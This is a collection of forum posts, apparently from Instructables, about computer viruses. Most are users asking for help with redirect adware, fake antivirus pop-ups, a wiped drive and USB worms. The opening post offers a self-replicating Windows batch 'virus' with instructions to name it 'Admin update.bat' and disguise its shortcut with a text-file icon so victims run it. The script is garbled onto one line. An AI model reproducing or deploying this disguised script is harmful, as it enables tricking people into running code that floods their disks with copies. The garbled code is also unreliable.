Virus

I did this at school. Open notepad, copy and paste this, then save it as Admin update.bat & then when you've saved it, create a shortcut then hide the original file. After that, change the icon to the one that looks like the .txt file(i am not responsible for what you do with this):@echo off:1set title=%random%@echo off>%title%.bat:1>%title%.batset title=%random%>%title%.bat@echo off>%title%.bat>%title%.bat:1>%title%.bat>%title%.batset title=%random%>%title%.bat>%title%.batgoto 1>%title%.batgoto 1

Virus Instruction?

I was googling to find a solution to the aftermath of a virus on a friend's computer.  What do I find?  Instructions on how to construct a virus.  Most of the posts were incredibly illiterate.  Big surprise, huh?  Why does a site that offers much quality allow this s**t?    Are there any awake moderators out there?

netbook virus?

My daughter's netbook has an icon in the bottom-right that keeps wanting me to activate a malware protection program which I think is bogus. Every time I try to open anything it pops up and error message in the corner saying "file iexplore.exe is infected by W32/Blaster.worm please activate malware protection to protect your computer". It says this for anything I try to open. I tried running MSCONFIG to disable it but got the same message. I can't get any virus programs online b/c of this error. Any help would be greatly appreciated. (Got same error trying system restore as well). Thanks,

Search engine virus?

Occasionally, when I try to click a link to a web page (especially links that have already been clicked on and are purple,) I will be redirected to a different (and often generic/unrecognized,) website. I have had issues with this virus on a different computer and want to know if anybody knows anything about it. As in the other computer, when I am redirected, the small website identifier image (to the left of the URL,) changed to a sort of bluish 2 with kind of a flourish to it. A name to the virus would be helpful and a way to destroy it would be even more so.

Virus/trojan infections on site

There have been a lot of trojans popping up from this site over the past week.  I suspect it may be coming in through the ads, like it did at least once before.  I can visit a page on the site (never the same one, so it's inconsistent) and it will redirect to a bogus page warning of an infection.  Yesterday, after this happened, I had a fake malware removal program on my computer that was masking for a trojan.  Malwarebytes was able to remove it.  The same thing has happened a few other times on this site, but thankfully no more infections have gotten through.  It's only been happening to me on the Instructables site.  Between this and the flood of collections, I'm about ready to quit the site entirely.

Google Jump/Re-direct "Virus" Help!!

Has anyone else had issues the last few days, with an Adware/Trojan which re-directs links and addresses? I have delt with them before yet this one seems particularly nasty. Not only does it re-direct every link in all search engines to random sites it also blocks many if not all sites associated with adware removal tools/tech support etc. Example: HJ this is not attainable to send techs logs. I can't get to my email because hotmail.com wont open. It begun as just a simple re-direct script but it seems the sites which I have been re-directed to are flooding my comp with ad-ware/fake virus removal tools/security warnings. One of the spawning virus's has managed to remove my "task bar" and "My computer" from the desktop. My comp is just spawning trojans and adware at the moment, every time I do a full scan there is atleast 40 more spawned by the time it is finished (15min). At the moment the only thing I have is Super Anti Spyware, which the guys there are obvious on this as their 15min updates seem to be catching the new creations... But I'm fighting a loosing battle here... I know it is probably beyond most here to help me, yet I was more interested to see if any one else has been affected, as the site that I can get to for tech assistant is flooded out with... "Another Google re-direct Virus Help!" in their forums... Google has to be PO'd about this one.

Hey! I was on a forum earlier today, when someone linked to a facebook account, so I thought, why not? I went to it in Mozilla with Noscript and adblock, but was prompt to enter username/password since I usually dont use firefox for that + noscript blocks that anyways right? So I pasted it in Google Chrome (where my password is stored in the browser..) from there I got directly in, but just came to the front page og Facebook... Why did this happen? Could it be that I have been sent to a fake site to give me malware :s ? here is the link: https://www.facebook.com/home.php#jared.schmidt1?ref=profile Ps.

A virus wiped my C: drive and deleted Windows Vista off my Notebook.

I downloaded this program off the Internet, and it wiped my C: drive. When I turn on my notebook it loads the Bios and then goes to the loading screen, it stops there and and doesn't even display the vista logo. I have tried the system restore time and time again but it always says that it fails. I went through the software and warranty booklet, and it says that you don't need a disk for system restore as it is already installed on another drive. I was not given a operating system disk for it to reload vista. I do not know what to do, can somebody please help. I think that all I need to do is buy another vista, but don't want to pay the hefty price. what can I do?

USB drive virus? Do I have it? What should I do?

So a time ago I got an worm on a laptop, when I looked up this worms spesifications on microsofts.com, it said that it automaticly copies itself to external drives connected with USB, through autorun. (I also got a couple of trojans etc). And I used an external harddrive, a memory card in a usb slot and an ipod 5g, before I discovered it. I freaked out of the viruses and reinstalled and formated the computer. Recently I have also scanned all three computers that could get infected, with MBAM and combofix (someone checked my logs) and all three computers were clean. ps. MSE and MBAM didn't fing anything on the drives, when scanning through them. my questions: -how can the worm not have spread itself to them? (is that even possbile?) -lets say that I have that worm on a drive, will it spread itself if I turn off autorun, plug in the drive and drag one file at the time over to for example dropbox and then format the drives? -can I be completely sure it isn't a virus there, the AV's didn't find anyting..... If you have any better ways to check it or something like that please let me know. because I cant reformat and all that jazz with the ipod 5g.  ps. here (see pictures) is one way I tried to check if there was any viruses there, although I don't know if it works (?)  (the drives in the pictues are an external harddrive and an ipod 5g)
